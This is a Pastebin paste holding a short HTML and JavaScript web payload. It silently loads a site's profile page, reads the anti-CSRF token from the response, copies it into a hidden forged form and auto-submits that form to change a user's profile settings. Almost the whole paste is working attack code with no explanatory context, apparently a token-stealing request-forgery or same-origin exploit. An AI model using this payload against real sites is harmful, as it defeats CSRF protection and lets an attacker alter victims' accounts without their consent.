Advertisement
Guest User

Untitled

a guest
Jul 17th, 2018
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.86 KB | None | 0 0
  1. <form method='POST' action='?action=profile' enctype="multipart/form-data" id="csrf-form">
  2. <input type="hidden" name="username" value="user1234"/>
  3. <input type="hidden" name="status" value="on"/>
  4. <input type="hidden" id="forged-token" name="token" value=""/>
  5. <input type="submit" value="click me"/>
  6. </form>
  7.  
  8. <script>
  9.  
  10. var x = new XMLHttpRequest();
  11.  
  12. function get() {
  13. x.open("GET","?action=profile",true);
  14. x.send(null);
  15. }
  16.  
  17. x.onreadystatechange = function() {
  18. if (x.readyState == XMLHttpRequest.DONE && x.status === 200) {
  19.  
  20. var el = document.createElement( 'html' );
  21. el.innerHTML = x.responseText;
  22. var list = el.getElementsByTagName("input");
  23.  
  24. if (list.token.value != undefined)
  25. {
  26. document.getElementById("forged-token").value = list.token.value;
  27. document.getElementById("csrf-form").submit();
  28. }
  29. }
  30. }
  31.  
  32. get();
  33.  
  34. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement